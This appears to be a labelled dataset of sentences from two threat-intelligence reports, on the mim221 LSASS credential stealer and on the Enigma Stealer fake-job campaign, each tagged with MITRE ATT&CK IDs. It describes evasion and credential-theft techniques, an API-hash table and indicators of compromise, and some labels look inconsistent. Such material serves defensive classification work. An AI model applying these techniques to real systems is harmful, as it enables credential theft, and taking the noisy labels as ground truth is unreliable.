{"sentence": "pc.exe decrypts AddSecurityPackage64.dll and pc.dll using the AES encryption algorithm, providing the operator-provided execution password as an initialization vector.", "labels": ["T1140"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "pc.exe loads and executes the decrypted AddSecurityPackage64.dllusing reflective image loading.", "labels": ["T1140"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This technique involves first mapping a Windows PE image in memory and then executing the image’s main entry point or an export function.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Among other activities, the image mapping process includes allocating memory for the image, storing the image headers and sections in the memory, populating the images’ import and delay import tables, adding exception handlers, and executing TLS callback and export routines.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The Phant0m tool provides a complete implementation of this process.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "While reflective image loading is a known technique at this time, its use was first observed in the DoublePulsar and subsequently the SlingShot frameworks in 2017 and 2018, respectively.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This technique enables the fully fileless loading and execution of a malicious image without invoking the standard Windows API, such as LoadLibrary.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This eliminates detection based on API hooking and file artifacts.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "When it is finished executing, pc.exe displays a message indicating a version number and build timestamp: Version 2.2.1 - build on Jun 9 2022 16:02:12.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "AddSecurityPackage64.dll AddSecurityPackage64.dll, which is the original filename of this mim221 component, is responsible for: Obtaining the SeDebugPrivilege and SYSTEM privilege by access token impersonation.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This allows mim221 to inspect and extract credentials from the LSASS process.", "labels": ["T1562.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Disabling Windows event logging in an attempt to evade detection; and Injecting pc.dll into LSASS as a Security Package.", "labels": ["T1055", "T1562.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Security Packages are used to extend the Windows authentication mechanism and can be abused to execute malicious code in the context of LSASS.", "labels": ["T1055", "T1562.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "In an attempt to remain undetected, AddSecurityPackage64.dll disables Windows event logging by killing threads of the Windows Event Log service without stopping the execution of the service itself.", "labels": ["T1562.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This is achieved by locating the process that hosts the Event Log, enumerating the processes’ threads, identifying the threads assigned to the service by their service tag (eventlog), and terminating them.", "labels": ["T1057"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Querying service tag informationAddSecurityPackage64.dll injects pc.dll into LSASS by deploying pc.dll as a Security Package.", "labels": ["T1055"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "To this end, AddSecurityPackage64.dll issues an RPC call to LSASS – to the ncalrpc:[lsasspirpc] RPC endpoint, providing the file path to pc.dll to LSASS.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This call instructs LSASS to load and execute pc.dll, which then stages the getHashFlsa64.dll credential theft component.", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "getHashFlsa64.dll conducts credential theft in the context of LSASSpc.dll and getHashFlsa64.dll In the context LSASS, pc.dll decrypts, reflectively loads, and executes the code credential theft component getHashFlsa64.dll in a manner similar to pc.exe.", "labels": ["T1140"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "pc.dll and getHashFlsa64.dll share the same original filename: getHashFlsa64.dll.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "pc.dll is implemented such that its main routine returns FALSE, making LSASS execute pc.dll and then unload it.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This is a detection evasion technique making LSASS load pc.dll while avoiding appearing as an added (registered) Security Package.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "LSASS normally creates registry entries when adding Security Packages and does not unload them once loaded.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This provides an opportunity for defenders to detect the loading of malicious Security Packages.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Previous research provides more detail on this topic.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "getHashFlsa64.dll accesses the memory of its host LSASS process and stores stolen credentials in a Mimikatz log file named pc.log for later exfiltration.", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Example pc.log contentgetHashFlsa64.dll exports a function named GetMyVersion, which displays a version number and build timestamp (Version 2.2.0 - build on May 28 2022 04:56:23), in a format consistent with the output from pc.exe.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The credential theft functionality of getHashFlsa64.dll is implemented in its export function GetLogonInfo.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The GetMyVersion functionAdditional Information Error Messages and Public Code Reuse The mim221 components implement error logging.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The error messages follow a consistent output format.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Example error messagesIt is important to note that we observed code segments that seem to be modified versions of publicly available code.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "For example, the implementation of AddSecurityPackage64.dll looks like an adaptation of public code that demonstrates injection of a Security Package into LSASS using RPC calls.", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Similarity between publicly available code (top) and AddSecurityPackage64.dll (bottom)Timestamp Information The mim221 components that reflectively load other executables, pc.exe and pc.dll, patch beforehand a string in the loaded executable, which provides further timestamp information: ====A!B@C#0-2022-05-23 16:33:03S. The patching involves replacing the string with configuration information, such as the mim221 execution password and a path to the log file for storing stolen credentials.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Patched timestamp stringAttribution Analysis We assess it is highly likely the initial attack phases we observed were conducted by Chinese threat actors with cyberespionage motivations.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Telecommunication providers are frequent targets of espionage activity due to the sensitive data they hold.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Our analysis identified indicators that point to the operation Soft Cell actors.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Operation Soft Cell has been associated with the Gallium group based on TTPs and some of the domains the group has been using.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Active since at least 2012, Gallium is likely a Chinese state-sponsored group that is targeting telecommunication, financial, and government entities in Southeast Asia, Europe, Africa, and the Middle East.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "While the group’s original focus has been on telecommunication providers, recent reports suggest that Gallium has recently expanded targeting across other sectors.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The initial intrusion vector and the majority of the TTPs we observed closely match those conducted by, or associated with, the Soft Cell actors.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This includes deploying webshells at Microsoft Exchange servers for establishing an initial foothold, following same file naming conventions, using the LG tool and the net, query, and tasklist Windows built-in tools for gathering user and process information, and the PsExec Windows Sysinternals tool and net for lateral movement and exploration, respectively.", "labels": ["T1057", "T1570"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "It is worth noting that the attackers’ activities at one of the targets suggested previous knowledge of the environment.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "We had observed activity at the same target a few months prior, which we attributed to Gallium primarily based on the use of the group’s PingPull backdoor and TTPs.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "By pivoting on the original filename of mim221’s getHashFlsa64.dll, we observed another sample that steals credentials from LSASS.", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This sample has the PDB path of e:\\vs_proj\\mimkTools\\getHashFlsa\\getHashFlsa\\x64\\release\\getHashFlsa64.pdb and has been first submitted to VirusTotal from Vietnam on January 04, 2023.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The path partially overlaps with the PDB path of a Mimikatz Soft Cell executable (E:\\vs_proj\\simplify_modify\\Win32\\simplify.pdb) and another Mimikatz executable of a Chinese threat actor thought to be part of the Soft Cell activity group arsenal (E:\\vs_proj\\mimkTools\\dcsync_new\\x64\\dcsync64.pdb).", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This indicates that mim221 and these binaries may originate from the same source.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Closer analysis confirms that the sample we pivoted to is a previous, less-advanced version of mim221 – Version 2.2.0 – that does not include some mim221 components, such as AddSecurityPackage64.dll and pc.dll.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "We refer to this sample as mim220.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Output from mim220 (top) and mim221 (bottom)", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Previous research indicates possible connections between the Soft Cell actors and APT41, which is known to conduct Chinese state-sponsored espionage activity as well as financially motivated activity targeting multiple sectors with a broad geographical coverage, including telecommunication providers.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The connection between the Soft Cell actors and APT41 that most relates to the activities that we observed is based on the Whizzimo, LLC certificate of the Soft Cell binary with a PDB path E:\\vs_proj\\simplify_modify\\Win32\\simplify.pdb, a binary that possibly originates from the same source as mim221.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This certificate has been reported to be used by APT41.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Pivoting on this certificate reveals further Mimikatz modifications, some with filenames very similar to those we observed.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Conclusions Chinese cyberespionage threat actors are known to have a strategic interest in the Middle East.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This is evident from their consistent targeted attacks on various entities including government, finance, entertainment, and telecommunication organizations.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The recent activities targeting the telecommunication sector this post discusses are some of the latest such attacks.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Our analysis of mim221 highlights the continuous maintenance and further development of the Chinese espionage malware arsenal.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "These threat actors will almost certainly continue exploring and upgrading their tools with new techniques for evading detection, including integrating and modifying publicly available code.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "SentinelLabs continues to monitor espionage activities and hopes that defenders will leverage the findings presented in this post to bolster their defenses.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Indicators of Compromise SHA1 Note f54a41145b732d47d4a2b0a1c6e811ddcba48558 pc.exe 1c405ba0dd99d9333173a8b44a98c6d029db8178 AddSecurityPackage64.dll (unpatched) df4bd177b40dd66f3efb8d6ea39459648ffd5c0e AddSecurityPackage64.dll (patched) 814f980877649bc67107d9e27e36fba677cad4e3 pc.dll 508408edda49359247edc7008762079c5ba725d9 getHashFlsa64.dll (unpatched) 97a7f1a36294e5525310f121e1b98e364a22e64d getHashFlsa64.dll (patched)", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Malware Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs We discovered an active campaign targeting Eastern Europeans in the cryptocurrency industry using fake job lures.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "By: Aliakbar Zahravi, Peter Girnus February 09, 2023Read time: ( words) Save to Folio Subscribe We recently found an active campaign that uses a fake employment pretext targeting Eastern Europeans in the cryptocurrency industry to install an information stealer.", "labels": ["T1005"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "In this campaign, the suspected Russian threat actors, use several highly obfuscated and underdevelopment custom loaders in order to infect those involved in the cryptocurrency industry with Enigma stealer (detected as TrojanSpy.MSIL.ENGIMASTEALER.YXDBC), which is a modified version of the Stealerium information stealer.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "In addition to these loaders, the attacker also exploits CVE-2015-2291, an Intel driver vulnerability, to load a malicious driver designed to reduce the token integrity of Microsoft Defender.", "labels": ["T1068"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Stealerium, the original information stealer which serves as the base for Enigma Stealer, is an open-source project written in C# and markets itself as a stealer, clipper, and keylogger with logging capabilities using the Telegram API.", "labels": ["T1005", "T1056.001"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Security teams and individual users are advised to continuously update the security solutions of their systems and remain vigilant against threat actors who perform social engineering via job opportunity or salary increase-related lures.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Attack Chain Figure 1.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The Attack kill chain used by Enigma Stealer operator (click the image for a larger version) Using fake cryptocurrency interviews to lure victims", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The infection chain starts with a malicious RAR archive — in this instance, contract.rar (SHA256: 658725fb5e75ebbcb03bc46d44f048a0f145367eff66c8a1a9dc84eef777a9cc) — which is distributed to victims via phishing attempts or through social media.", "labels": ["T1027", "T1566.001"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The archive contains the files, Interview questions.txt, and Interview conditions.word.exe.", "labels": ["T1140"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The files found inside the malicious RAR archive These files set up the pretext for a fake cryptocurrency role or job opening.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "One file, Interview questions.txt (SHA256: 3a1eb6fabf45d18869de4ffd773ae82949ef80f89105e5f96505de810653ed73) contains sample interview questions written in Cyrillic.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "This serves to further legitimize the package in the eyes of the victim and draw attention away from the malicious binary. Figure 3.", "labels": ["T1036.005"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "A machine translation of Interview questions.txt The other file Interview conditions.word.exe (SHA256: 03b9d7296b01e8f3fb3d12c4d80fe8a1bb0ab2fd76f33c5ce11b40729b75fb23) contains the first stage Enigma loader.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "This file, which also masquerades as a legitimate word document, is designed to lure unsuspecting victims into executing the loader.", "labels": ["T1036.005", "T1204.002"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Once executed, the Enigma loader begins the registration and downloading of the second-stage payload.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Analysis of the Enigma infrastructure Enigma uses two servers in its operation.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The first utilizes Telegram for delivering payloads, sending commands, and receiving the payload heartbeat.", "labels": ["T1095", "T1105"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The second server 193[.]56[.]146[.]29 is used for DevOps and logging purposes.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "At each stage the payload sends its execution log to the logging server.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Since this malware is under continuous development the attacker potentially uses the logging server to improve malware performance.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "We have also identified the Amadey C2 panel on 193[.]56[.]146[.]29 which has only one sample (95b4de74daadf79f0e0eef7735ce80bc) communicating with it. Figure 4.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Amadey C&C login page Amadey is a popular botnet that is sold on Russian speaking forums, but its source code has been leaked online.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Amadey offers threat actors polling and reconnaissance services.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The exposed info.php page of the threat actors’ command-and-control (C&C) infrastructure", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "This server has a unique Linux distribution only referenced in Russian Linux forums.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The default time zone of the C&C server The default time zone on this server is set to Europe/Moscow.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "This server registers a newly infected host when Interview conditions.word.exe is executed by the victim.", "labels": ["T1204.002"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Stage 1: EnigmaDownloader_s001 MD5 SHA-1 SHA-256 File size 1693D0A858B8FF3B83852C185880E459 5F1536F573D9BFEF21A4E15273B5A9852D3D81F1 03B9D7296B01E8F3FB3D12C4D80FE8A1BB0AB2FD76F33C5CE11B40729B75FB23 367.00 KB (375808 bytes)", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The initial stage of Enigma, Interview conditions.word.exe, is a downloader written in C++.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Its primary objective is to download, deobfuscate, decompress, and launch the secondary stage payload.", "labels": ["T1105", "T1140"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The malware incorporates multiple tactics to avoid detection and complicate reverse engineering, such as API hashing, string encryption, and irrelevant code.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Before delving into the analysis of \"EngimaDownloader_s001,\" let's first examine how the malware decrypts strings and resolves hashed Windows APIs.", "labels": ["T1027", "T1140"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "By understanding this, we can implement an automated system to help us retrieve encrypted data and streamline the analysis process.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Please be advised that to enhance code legibility, we have substituted all hashes with the corresponding function names.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "EngimaDownloader_s001 API Hashing: API hashing is a technique employed by malware to conceal the utilization of potentially suspicious APIs (functions) from static detection.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "This technique helps the malware disguise its activities and evade detection.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "It involves replacing the human-readable names of functions (such as \"CreateMutexW\") with a hash value, such as 0x0FD43765A.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The hash value is then used in the code to call the corresponding API function, rather than using the human-readable name.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The purpose of this technique is to make the process of understanding the code more time-consuming and difficult.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "For API Hashing the EnigmaDownloader_s001 uses the following custom MurmurHash: Figure 7.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Custom implementation of murmur hash The malware employs dynamic API resolving to conceal its API imports and make static analysis more difficult.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "This technique involves storing the names or hashes of the APIs needed, then importing them dynamically at runtime.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The Windows API offers LoadLibrary and GetProcAddress functions to facilitate this.", "labels": ["T1106"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "LoadLibrary accepts the name of a DLL and returns a handle, which is then passed to GetProcAddress along with a function name to obtain a pointer to that function.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "To further evade detection, the malware author even implemented their own custom version of GetProcAddress to retrieve the address of functions such as LoadLibrary and others.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The use of standard methods like GetProcAddress and LoadLibrary might raise a red flag, so the custom implementation helps to avoid detection.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Dynamic API loading The following is a list of API hash values along with the names of functions that have been used in this sample (Please note that the hash value might be different in other variants since the malware author changed some of the constant values in the hash generator function).", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "0xE04A219 : kernel32_HeapCreate 0xA1ADA36 : kernel32_lstrcpyA 0x5097BB4 : kernel32_RegOpenKeyExA 0x750EFAB : kernel32_GetLastError 0x4CB039A : kernel32_RegQueryValueExA 0xAAF4498 :", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "kernel32_RegCloseKey 0xFAD2A34 : kernel32_lstrcmpiA", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "0x11A198F : combase_CoCreateGuid 0xE94A809 : kernel32_RtlZeroMemory 0x6A6A154 : kernel32_lstrcatA 0x8150471 : ntdll_RtlAllocateHeap 0x4CF4539 : user32_wvsprintfW 0x663555F : kernel32_WideCharToMultiByte 0x59CADCE :", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "ntdll_RtlFreeHeap 0x1CE543C : cabinet_CloseDecompressor 0x11CF0A2 : wininet_InternetGetConnectedState 0x675C7B2 : kernel32_Sleep 0xDC75FF2 : wininet_InternetCheckConnectionA 0x5CC35B1 : wininet_InternetSetOptionA 0xF9E8859 : wininet_InternetOpenA 0x6F05A9E : wininet_InternetConnectA 0xBAEECD9 :", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "wininet_HttpOpenRequestA 0xAD9A77C : wininet_HttpSendRequestA 0x835FA71 : wininet_HttpQueryInfoA 0xBFA9532 : wininet_InternetReadFile 0x99D029C : wininet_InternetCloseHandle 0x8DABD38 : kernel32_GetFileAttributesW 0x44E1C18 : kernel32_DeleteFileW 0xAB69596 : kernel32_CreateFileW 0x2CF38A1 :", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "kernel32_WriteFile 0x1CE43DE : kernel32_CloseHandle 0x548C5A4 : Rpcrt4_RpcStringBindingComposeW 0x7B0F79F : Rpcrt4_RpcBindingFromStringBindingW 0x69A2B62 :", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Rpcrt4_RpcStringFreeW 0xD2CD112 : advapi32_CreateWellKnownSid 0xEFBC2E9 : kernel32_LocalFree 0x60EDB01 : Rpcrt4_RpcBindingFree 0x7A7DAA0 : Rpcrt4_RpcAsyncInitializeHandle 0xB3F16FA : kernel32_CreateEventW 0x1C23B4F : Rpcrt4_NdrAsyncClientCall 0x8C1F37 : kernel32_WaitForSingleObject 0x7831640 : Rpcrt4_RpcRaiseException 0xF2FCCFE : Rpcrt4_RpcAsyncCompleteCall 0x816F545 : kernel32_SetLastError 0xFBE2D99 : oleaut32_SysAllocString 0x393ACB : oleaut32_SysFreeString 0xC9FEF5F : kernel32_ExpandEnvironmentStringsW 0x74D51D3 : kernel32_CreateProcessW 0xCDE9EC27 : wininet_HttpWebSocketClose 0x80C8449 : kernel32_TerminateProcess 0x418B4E7E : wininet_AppCacheCheckManifest 0x44E65EB : kernel32_WaitForDebugEvent 0x81C3F46 :", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "kernel32_ContinueDebugEvent 0x1FB9EB2 : kernel32_LoadLibraryW 0x1071970 : kernel32_GetProcAddress 0xDAE6C9B : combase_CoInitializeEx 0xFD43765 : kernel32_CreateMutexW 0x73861029 : kernel32_BasepSetFileEncryptionCompression 0xA3FE987 : advapi32_RegDeleteKeyW 0x1CA6703 : advapi32_RegCreateKeyA 0x24EBD39 : kernel32_lstrlenA 0x69F38C6 :", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "kernel32_RegSetValueExA 0xC2D33DC : ntdll_RtlGetVersion 0xBD5D03A : kernel32_GetNativeSystemInfo 0x10BEDD60 : wininet_CreateMD5SSOHash To resolve the API hash, the malware first passes two arguments to the \"mw_resolveAPI\" function.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The first argument is the specific library name index number (in this case 0xA = Kernel32.dll), while the second argument is the export function name hashed value (which, in this example, is 0xFD43765A)", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The mw_resolveAPI function first finds the specific index, jumps to it, and decrypts the corresponding library name value as shown in the bottom image of Figure 9. Figure 9.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Resolving API hashes The following is the list of decrypted library names:", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "WinInet.dll userenv.dll psapi.dll netapi32.dll mpr.dll wtsapi32.dll api-ms-win-core-processthreads-l1-1-0.dll ntoskrnl.exe Rpcrt4.dll User32.dll api-ms-win-core-com-l1-1-0.dll Cabinet.dll shell32.dll OleAut32.dll Ole32.dll ntdll.dll mscoree.dll kernel32.dll advapi32.dll The library name and export function name hashed value is then passed to GetExportAddressByHash, which is responsible for opening the handle to the library, creating a hash for each export function name, and comparing it with the passed argument.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Once the match is found, the malware returns the function address and calls it. Figure 10.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Retrieving the address of an API The code snippet in Figure 11 demonstrates how mw_GetExportAddressByHash resolves the given API hash and retrieves the address of an exported function.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The techniques used to decrypt strings and resolve API hashes in both the stage 1 and stage 2 payloads are identical.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Custom implementation of GetProcAddress With an understanding of this process, we can then proceed with our analysis.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Upon execution, the malware creates the mutual exclusion object (mutex) to mark its presence in the system and retrieves the MachineGuid of the infected system from the SOFTWARE\\Microsoft\\Cryptography\\MachineGuid registry key, which it uses as a unique identifier to register the system with its C&C server and track its infection.", "labels": ["T1012"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
